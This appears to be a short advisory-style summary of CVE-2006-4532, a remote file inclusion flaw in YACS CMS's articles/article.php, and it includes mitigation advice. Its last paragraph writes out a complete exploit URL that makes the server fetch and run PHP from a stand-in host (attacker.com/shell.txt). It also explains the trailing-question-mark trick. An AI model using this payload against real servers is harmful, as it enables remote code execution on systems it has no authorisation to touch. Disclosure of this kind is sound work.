CVE-2006-4532

An attacker sends an HTTP GET request to articles/article.php with the context[path_to_root] parameter set to a URL pointing to an attacker-controlled remote server hosting malicious PHP code [ref_id=1]. The vulnerable script passes this user-supplied value directly into a PHP include/require construct, causing the server to fetch and execute the remote PHP code. No authentication or special privileges are required; the attack is performed over HTTP and the payload is simply a URL string.

The vulnerable file is articles/article.php in YACS CMS 6.6.1 and earlier [ref_id=1]. The specific vulnerable code path is the inclusion of a file whose path is derived from the context[path_to_root] HTTP parameter without sanitization.

No patch is included in the bundle. The advisory [ref_id=1] does not provide remediation code. The vendor would need to validate that the context[path_to_root] parameter contains only a local, expected path rather than an arbitrary URL, typically by whitelisting allowed paths or disabling remote file inclusion via php.ini configuration (allow_url_include = Off).

Send a request to the target server: http://[target]/[path]/yacs/articles/article.php?context[path_to_root]=http://attacker.com/shell.txt? [ref_id=1]. The trailing question mark prevents the appended code from interfering. The remote file will be included and executed by the PHP interpreter.